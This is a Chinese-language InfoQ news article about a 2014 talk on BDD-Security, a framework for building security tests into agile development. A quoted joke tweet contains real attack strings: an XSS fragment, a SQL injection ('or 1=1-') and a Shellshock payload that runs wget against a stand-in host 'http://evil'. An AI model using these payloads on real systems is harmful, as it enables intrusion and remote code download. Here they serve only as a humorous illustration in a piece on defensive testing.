ContinuumSecurity 创始人 Stephen de Vries，在 Velocity Europe 2014 大会上提出了持续且可视化的安全测试的观点。Stephen 表示，那些在敏捷开发过程中用于将 QA 嵌入整个开发流程的方法和工具都能同样的用于安全测试。 BDD-Security 是一个基于 JBehave ，且遵循 Given-When-Then 方法的安全测试框架。
传统的安全测试都遵循瀑布流程，也就是说安全团队总是在开发阶段的末期才参与进来，并且通常需要外部专家的帮助。在整个开发流程中，渗透测试总是被安排到很晚才做，使得为应用做安全防范的任务尤其困难且复杂。Stephen 认为安全测试完全可以变得像QA 一样：每个人都对安全问题负责；安全问题可以在更接近代码的层面考虑；安全测试完全可以嵌入一个持续集成的开发过程中。
为了论证QA 和安全测试只有量的区别而没有质的区别，Stephen 展示了 C. Maartmann-Moe 和 Bill Sempf 分别发布的推特：
从 QA 的角度：
QA 工程师走进一家酒吧，点了一杯啤酒；点了 0 杯啤酒；点了 999999999 杯啤酒；点了一只蜥蜴；点了 -1 杯啤酒；点了一个 sfdeljknesv。
从安全的角度：
渗透测试工程师走进一家酒吧，点了一杯啤酒；点了”> 杯啤酒；点了’or 1=1- 杯啤酒；点了 () { :; }; wget -O /beers http://evil ; / 杯啤酒。
要将安全测试集成进敏捷开发流程中，首先需要满足的条件是：可见性，以便采取及时应对措施并修补；可测试性，以便于自动化，比仅仅简单的扫描更有价值。Stephen 发现 BDD 工具族就同时满足了可见性及可测试性，因此他开始着手构建 BDD-Security 安全测试框架。
由于 BDD-Security 是基于 JBehave 构建的，因此它使用 BDD 的标准说明语言 Gherkin 。一个 BDD-Security 测试场景如下：
Scenario: Transmit authentication credentials over HTTPS Meta: @id auth_https Given the browser is configured to use an intercepting proxy And the proxy logs are cleared And the default user logs in with credentials from: users.table And the HTTP request-response containing the default credentials is inspected Then the protocol should be HTTPS
BDD-Security 用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着：
本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立，这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中，有时甚至无需修改。
这也说明 BDD-Security 框架认为对许多应用来说，有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然，必要的时候你也完全可以编写自己的用户故事。
BDD-Security 依赖于第三方安全测试工具来执行具体的安全相关的行为，例如应用扫描。这些工具有 OWASP ZAP 或 Nessus 等。
Stephen 还提到其它一些有类似功能的工具。如 Zap-WebDriver 就是一款更简单的工具，不喜欢 BDD 方式的人可以考虑采用它。 Gauntlt 与 BDD-Security 框架类似，同样支持 BDD，只是它使用的编程语言是 Ruby。 Mittn 用 Python 编写并且同样也使用 Gherkin。
查看英文原文： Embedding Security Testing in Development Workflow
感谢崔康对本文的审校。
给InfoQ 中文站投稿或者参与内容翻译工作，请邮件至 editors@cn.infoq.com 。也欢迎大家通过新浪微博（ @InfoQ ）或者腾讯微博（ @InfoQ ）关注我们，并与我们的编辑和其他读者朋友交流。
Java 避坑指南：Java 高手笔记代码篇
本迷你书包括 86 个业务开发中常见踩坑点。每一个知识点都相当的实用，是程序员业务开发中的必备避坑指南...
评论